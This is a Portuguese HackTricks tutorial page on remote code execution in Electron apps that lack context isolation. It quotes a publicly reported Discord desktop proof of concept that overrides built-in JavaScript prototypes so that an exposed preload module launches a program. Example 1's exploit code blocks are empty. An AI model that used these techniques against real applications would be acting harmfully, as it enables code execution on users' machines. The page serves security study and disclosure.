# RCE do Electron contextIsolation via código de pré-carregamento
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! - Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) - **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
## Exemplo 1 Exemplo de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) Este código abre links http(s) com o navegador padrão: ![](<../../../.gitbook/assets/image (375) (1) (1).png>) Algo como `file:///C:/Windows/systemd32/calc.exe` poderia ser usado para executar uma calculadora, mas o `SAFE_PROTOCOLS.indexOf` está impedindo isso. Portanto, um invasor poderia injetar este código JS via XSS ou navegação de página arbitrária: ```html ``` Como a chamada para `SAFE_PROTOCOLS.indexOf` sempre retornará 1337, o atacante pode contornar a proteção e executar a calculadora. Exploit final: ```html CLICK ``` Verifique os slides originais para outras maneiras de executar programas sem ter uma solicitação de permissão. Aparentemente, outra maneira de carregar e executar código é acessar algo como `file://127.0.0.1/electron/rce.jar` ## Exemplo 2: RCE do aplicativo Discord Exemplo de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) Ao verificar os scripts de pré-carregamento, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via `DiscordNative.nativeModules.requireModule('NOME-DO-MÓDULO')`, na página da web.\ Aqui, não pude usar módulos que podem ser usados para RCE diretamente, como o módulo _child\_process_, mas **encontrei um código onde RCE pode ser alcançado substituindo os métodos JavaScript integrados** e interferindo na execução do módulo exposto. A seguir está o PoC. Eu fui capaz de confirmar que o aplicativo **calc** é **aberto** quando eu **chamo a função `getGPUDriverVersions`** que é definida no módulo chamado "_discord\_utils_" do devTools, enquanto **substituo o `RegExp.prototype.test` e `Array.prototype.join`**. ```javascript RegExp.prototype.test=function(){ return false; } Array.prototype.join=function(){ return "calc"; } DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); ``` A função `getGPUDriverVersions` tenta executar o programa usando a biblioteca "_execa_", como mostrado abaixo: ```javascript module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; } const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; } return result; }; ``` Normalmente, o _execa_ tenta executar "_nvidia-smi.exe_", que é especificado na variável `nvidiaSmiPath`, no entanto, devido à substituição de `RegExp.prototype.test` e `Array.prototype.join`, **o argumento é substituído por "**_**calc**_**" no processamento interno do \_execa**\_**. Especificamente, o argumento é substituído alterando as duas partes a seguir. [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! - Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) - Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) - **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.